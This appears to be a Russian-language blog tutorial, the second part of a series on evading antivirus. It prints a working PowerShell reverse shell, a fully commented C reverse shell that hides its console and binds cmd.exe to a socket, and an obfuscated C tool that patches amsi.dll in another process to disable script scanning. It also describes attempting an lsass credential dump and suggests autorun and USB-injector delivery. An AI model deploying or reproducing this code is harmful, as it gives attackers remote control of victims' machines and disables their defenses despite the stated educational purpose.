🔗 Предыдущая часть

Привет!

Итак, немножко познакомившись с теорией, пора немного и поэкспериментировать. Но Сначала вкратце вспомним, что было в первой части. А так как после её написания был довольно большой перерыв, вспоминать буду и я.

Дисклеймер

Существуют нормативно-правовые акты, запрещающие распространять вредоносное ПО. Я не играю в хакеров, а лишь хочу в образовательных целях показать , что антивирус не всесильный.

Небольшой FAQ

Что делает антивирус?

Проверяет файлы на вредоносное ПО. И причем не только файлы.

Как он это делает?

В общем смысле статическим и динамическим анализом. Первый проверяет последовательности байт файла (отпечатки) по своим сигнатурным базам. Второй смотрит на поведение файла в системе. Куда он обращается, какие системные вызовы использует, что он вообще делает.

Ну, вроде вспомнили, а если нет, то разберемся. Пора переходить к интересному.

Пробуем написать и запустить малварь

Под малварью в данном случае будет пониматься реверс-шелл. Кто-то может спросить - “Да разве это малварь?”.

А я отвечу: Да.

Просмотр результатов Virus Total пейлоада метасплоита

Просмотр результатов Virus Total пейлоада метасплоита

Что я только что делал — Используя генератор пейлоадов msfvenom, входящую в состав метасплоита, я сгенерировал простой реверс-шелл и забросил его на Virus Total. Как видно из скриншоте, его все детектят как страшную угрозу.

Хорошо, может это просто антивирус душит метасплоит? Давайте попробуем проверить вот этот скрипт на PowerShell (тоже ресерс-шелл)

Код взят 🔗отсюда

 1do {
 2    # Delay before establishing network connection, and between retries
 3    Start-Sleep -Seconds 1
 4
 5    # Connect to C2
 6    try{
 7        $TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.2', 1337)
 8    } catch {}
 9} until ($TCPClient.Connected)
10
11$NetworkStream = $TCPClient.GetStream()
12$StreamWriter = New-Object IO.StreamWriter($NetworkStream)
13
14# Writes a string to C2
15function WriteToStream ($String) {
16    # Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default)
17    [byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}
18
19    # Write to C2
20    $StreamWriter.Write($String + 'SHELL> ')
21    $StreamWriter.Flush()
22}
23
24# Initial output to C2. The function also creates the inital empty byte array buffer used below.
25WriteToStream ''
26
27# Loop that breaks if NetworkStream.Read throws an exception - will happen if connection is closed.
28while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
29    # Encode command, remove last byte/newline
30    $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)
31    
32    # Execute command and save output (including errors thrown)
33    $Output = try {
34            Invoke-Expression $Command 2>&1 | Out-String
35        } catch {
36            $_ | Out-String
37        }
38
39    # Write output to C2
40    WriteToStream ($Output)
41}
42# Closes the StreamWriter and the underlying TCPClient
43$StreamWriter.Close()

Просмотр результатов сканирования PowerShell скрипта на Virus Total

Просмотр результатов сканирования PowerShell скрипта на Virus Total

И он тоже оказывается вирусом. Хотя тут и меньшее количество антивирусов, популярные всё равно его детектят.

Так что реверс шелл является малварью. Собственно, вопрос — Что делать? Как нам обойти все антивирусы и успешно выполнить нашу полезную нагрузку (данном случае пробросить шелл)?

Ответ — Пишем свой вирус .

Вот так вот всё просто. Вспоминаем, что “первый эшелон” - это статический анализ, то есть всё та же проверка совпадения сигратур файла в своих антивирусных базах. Значит, в первую очередь, обходим её. Большая часть колиество сигнатур базируются на уже исследованных образцах малварей. Соответственно, написанная нами программа, никому доселе не слышанная, будет спокойно работать (эх, если всё было так просто, но пока будем думать, что это так).

Будем писать на Си. Далее представлен код с подробными комментариями, что где и зачем. Конечно, даже с этими комментариями нужно иметь какой-то опыть в программировании и знания синтаксиса Си.

Свой ресерс-шелл с комментариями

 1// Включим всего 2 заголовочных файла. 
 2// Не нужен даже stdio.h, так как мы не собирамся вводить/выводить что-то в консоль этого бинарника
 3
 4// Для сетевых соединений
 5#include <winsock2.h>
 6// Для преобразрвания ip-адреса
 7#include <ws2tcpip.h>
 8
 9// Подвязка библиотеки статически. Тоже нужно для сетевых соединений
10#pragma comment(lib, "ws2_32")
11
12int main(int argc, char** argv)
13{
14    // Адрес сервера для подключения
15    char host_addr[16] = "127.0.0.1";
16    // Порт сервера для подключения
17    int host_port = 1337;
18
19    // Структура для создания сокета
20    WSADATA wsaData;
21    // Структура сокета
22    SOCKET sock;
23
24    // Две структуры ниже просто объявляются для запуска процесса, определять их не нужно
25    // Структура для создания процесса. Нужна, чтобы определить оконный терминал, рабочий стол, стандартный дескриптор и внешний вид основного окна для нового процесса.
26    STARTUPINFO startInfo;
27    // Структура информации о создаваемом процессе
28    PROCESS_INFORMATION procInfo;
29
30    // Структура, содержащая в себе адрес и порт для сокета
31    struct sockaddr_in sockAddr;
32
33    // Это сделает вызов процесса отдельно от консоли, из-за чего она закроется сразу после запуска нашего файла
34    FreeConsole();
35    // Создаём сокет
36    WSAStartup(MAKEWORD(2, 2), &wsaData);
37    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
38    sockAddr.sin_family = AF_INET;
39
40    // Для преобразования ip из строки в объект, требуемый сокету
41    inet_pton(AF_INET, (PCSTR)host_addr, &sockAddr.sin_addr.s_addr);
42    // И тоже самое с портом
43    sockAddr.sin_port = htons(host_port);
44    // Подключаемся к серверу (по tcp). Будут попытки подключения в теление нескольких секунд, после чего функция вернет -1 (ошибку), если соединение не установлено
45    WSAConnect(sock, (SOCKADDR*)&sockAddr, sizeof(sockAddr), NULL, NULL, NULL, NULL);
46
47    // А здесь вы можете наблюдать самое настоящее управление памятью (ручное выделение места под структуру)
48    memset(&startInfo, 0, sizeof(startInfo));
49    // Конфигурация основных параметров создания процесса
50    startInfo.cb = sizeof(startInfo);
51    startInfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
52    startInfo.hStdInput = startInfo.hStdOutput = startInfo.hStdError = (HANDLE)sock;
53
54    TCHAR cmd[] = TEXT("cmd.exe");
55
56    // Создаём отдельный процесс с привязкой сокета. Он будет коннектится к заданному серверу
57    CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, nullptr, nullptr, &startInfo, &procInfo);
58
59    //Закрытие консоли, которая породила процесс выше. Можно убрать, но тогда консоль будет открыта до выхода из программы
60    exit(0);
61
62    return 0;
63}

Код не совсем мой. Идею я взял 🔗отсюда, но довольно сильно модифицировал. Компилируем и смотрим результат наших действий:

Просмотр и сравнение результатов с предыдущим сканом

Просмотр и сравнение результатов с предыдущим сканом

Не смотря на то, что бинарь принадлежит нам, всё равно есть антивирусы, замечающие в нём вредоносную активность. Однако, среди них нету ни Касперского, ни Аваста, ни Дефендера (На скриншоте он есть, но я проверял, он не детектит. Поправте, если я неправ), а значит какой-то профит мы получили. Смотрим как это работает

PoC Ресерс-шелла

PoC Ресерс-шелла

Стоит также заметить, что сетевой трафик никак не шифруется (с чего бы?). Значит, если кто-то зачем-то решит использовать код выше, очень желательно добавить шифрование

Просмотр сетевого трафика

Просмотр сетевого трафика

Моргающее окно при включении практически незаметно. Бинарь можно поставить в автозапуск, скачать через скрипт в Rubber Ducky, использовать как небольшую часть вашей малвари, и много чего еще. А антивирусу всё пофигу.

Ну, почти…

Блокировка процесса антивирусом

Блокировка процесса антивирусом

Мы попробовали сдампить процесс lsass.exe, отвечающий за аутентификацию и содержащий хеши локальных пользователей, и наткнулись на блокировку процесса путём динамического анализа. До этого момента я не освещал вопрос о том, как именно работает динамический анализ.

Хватит пока гифок. Начинаем потихоньку углубляться в работу ОС и поработаем с памятью процессов.

Пробуем написать и запустить малварь с методоми обхода

Переключимся на PowerShell. В далёком 2006 некий Bruce Payette выпустил первую версию кроссплатформенного скриптового языка PowerShell, который был призван облегчить администрирование и автоматизацию. Основной отличительной особенностью от других командных оболочек (cmd или bash) является работа с данными исключительно как с объектами — то-есть абсолютно всё в PowerShell представлено в объектно-ориентированной структуре, будь то функции, строки или ввод-вывод.

Так вот, PowerShell оказался настолько крутым, что на нем начали делать малвари и даже написали 🔗 Целый фреймворк (точнее библиотеку модулей). Его основное отличие от того, мы написали ранее на Си — это “Fileless Malware”, то-есть запустить любой вредоносный скрипт можно без сохранения его в файловой системе на диске. Значит, антивирус не сможет статичкски проверить файл, которого не существует. Можно скачать PowerSploit, добавить директорию с ним в исключения антивируса и попробовать импортировать все модули (загрузить их в память процесса PowerShell).

Добавление директории в исключения

Добавление директории в исключения

Добавление директории в исключения

Добавление директории в исключения

Видим что антивирус, несмотря на наши исключения, заблокировал загрузку модулей. Разбираемся.

P. S. Я тут немного схитрил и основывался на 🔗этой статье. Рекомендую к прочтению

Одним из способов динамического анализа в Windows является 🔗AMSI (Antivalware scan interface) — Это специальный интерфейс, разработанный Microsoft, который реализует несколько функций по защите процессов от вредоносной активности, в частности контролирует JavaScript, VBScript и PowerShell скрипты. Интерфейс имеет специальный API, с помощью которого возможно подключать стороннее антивирусное ПО, которому он будет передавать информацию для дальнейшей обработки. То-есть встроенный Defender для проверки PowerShell может быть заменен другим антивирусным продуктом.

Работает AMSI так — есть библиотека amsi.dll которые загружается в память каждого процесса PowerShell.

Просмотр памяти PowerShell процесса через Process Hacker 2

Просмотр памяти PowerShell процесса через Process Hacker 2

Внутри dll есть несколько экспортируемых функции. Нас с в первую очередь интересуют первые 5.

Просмотр экспортируемых функций в amsi.dll

Просмотр экспортируемых функций в amsi.dll

Вот как они работают — на каждую введенную строку в консоль каждый раз выполняется последовательность AmsiInitialize() -> AmsiOpenSession() -> AmsiScanBuffer() -> AmsiScanString() -> AmsiCloseSession(), после чего будет принято решение, пропустить строку или заблокировать.

Вот, вроде что-то прояснилось. А теперь воарос — Как это обойти? Как запустить вредоносный модуль без блокировки?

Ответ — отключить asmi.dll в powershell процессе. Я нашел код, который по заданному PID ищет процесс и патчит (изменяет память процесса) таким образом, чтобы amsi в нём становится бесполезным. К сожалению, ссылку на исходник потеряна, а сам код я немного обфусцировал. Особенно это заметно в названиях переменных. Тут я не буду комментировать каждую строчку. Покажу только основные моменты

Код для патчинга + Обфускация курильщика

 1#include <Windows.h>
 2#include <stdio.h>
 3#pragma comment(lib, "ntdll")
 4
 5#ifndef NT_SUCCESS
 6#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
 7#endif
 8
 9// Это втока asmi.dll
10char ampyfs1[] = { 'a','m','s','i','.','d','l','l',0 };
11char pyf_a1[] = "am18z";
12// Это название одной из экспортируемых функций, которую мы видели ранее
13char pyfab2[] = { 'A','m','s','i','O','p','e','n','S','e','s','s','i','o','n',0 };
14
15EXTERN_C NTSTATUS NtProtectVirtualMemory(
16	IN HANDLE ProcessHandle,
17	IN OUT PVOID* BaseAddress,
18	IN OUT PSIZE_T RegionSize,
19	IN ULONG NewProtect,
20	OUT PULONG OldProtect);
21
22EXTERN_C NTSTATUS NtWriteVirtualMemory(
23	IN HANDLE ProcessHandle,
24	IN PVOID BaseAddress,
25	IN PVOID Buffer,
26	IN SIZE_T NumberOfBytesToWrite,
27	OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
28
29DWORD64 pyfaf(LPVOID addr) {
30
31	for (int i = 0; i < 1024; i++) {
32		char pyf_ba[] = "am19zs";
33		if (*((PBYTE)addr + i) == 0x74) return (DWORD64)addr + i;
34	}
35
36}
37
38void AMS1patch1(HANDLE hproc) {
39	printf("Boba");
40	int pyf_bb = 1 + 19;
41	// находим смещение функции amsiopensession по виртуальному адресу amsi.dll
42	void* ptr = GetProcAddress(LoadLibraryA(ampyfs1), pyfab2);
43	pyf_bb = 1 + 19;
44	// Дальше просиходит магия, но в кратце мы изменяем байты примерно в том месте, где находится функция amsiopensession 
45	char nepyf[100];
46	pyf_bb = 1 + 19;
47	ZeroMemory(nepyf, 100);
48	pyf_bb = 1 + 19;
49	lstrcatA(nepyf, "\x75");
50	pyf_bb = 1 + 19;
51	printf("\n%p\n\n", *(INT_PTR*)nepyf);
52	pyf_bb = 1 + 19;
53	DWORD OldProtect = 0;
54	SIZE_T memPage = 0x1000;
55	//void* ptraddr = (void*)(((INT_PTR)ptr + 0xa));
56	void* ptraddr = (void*)((DWORD64)ptr + 0x3);
57	void* ptraddr2 = (void*)pyfaf(ptr);
58
59	// Тут и далее используются недекларируемые функции windows. Именно с их помощи будет патчится amsi процесса
60	NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, 0x04, &OldProtect);
61	if (!NT_SUCCESS(NtProtectStatus1)) {
62		return;
63	}
64	NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)pyfaf(ptr), (PVOID)nepyf, 1, (SIZE_T*)nullptr);
65	if (!NT_SUCCESS(NtWriteStatus)) {
66		return;
67	}
68	NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, OldProtect, &OldProtect);
69	if (!NT_SUCCESS(NtProtectStatus2)) {
70		return;
71	}
72
73	printf("\nDa\n\n");
74
75}
76
77int main(int argc, char** argv) {
78
79	HANDLE hProc;
80
81	if (argc != 2) {
82		printf("USAGE: AMS1-Patch.exe <PID>\n");
83		return 1;
84	}
85	// Тут мы берем pid из аргумента и находим процесс
86	hProc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)atoi(argv[1]));
87	if (!hProc) {
88		printf("Failed in OpenProcess (%u)\n", GetLastError());
89		return 2;
90	}
91
92	// Патчинг
93	AMS1patch1(hProc);
94
95	return 0;
96
97}

Теперь, если мы откроем PowerShell и пропатчим его, то он не будет блокировать вредоносные скрипты, в данном случае поиск файлов по интересным словам и их имени.

Проверка патчинга

Проверка патчинга

P.S. Это не совмем динамический анализ. Всё введенное также проверяется по сигнарурам. Только это работает не с файлами, а с данными внутри запущенного процесса.

Вывод

Конечно, мы посмотрели далеко не всё. Обфускация, обход в детекте при вызове Windows API функций, работу AV в режиме ядра и еще много чего интересного. Но, думаю, уже сейчас можно начать отвечать на вопрос, который был задан еще в первой части — “А так ли антивирус нужен?” Я бы сказал, что он реализует “защиту от дурака”. Он спокойно залочит случайно загруженные вредоносные файлы и скорее всего даже защитит от злоумышленников с опытом создания малварей чуть меньше нашего. Но вот подготовленным хацкерам он просто будет помехой, которую возможно преодолеть.

Естественно, это не конец. Планируется третья часть. Жду комментариев и критики.


Автор: 🔗@pyfffe

Наш Telegram канал: 🔗REDTalk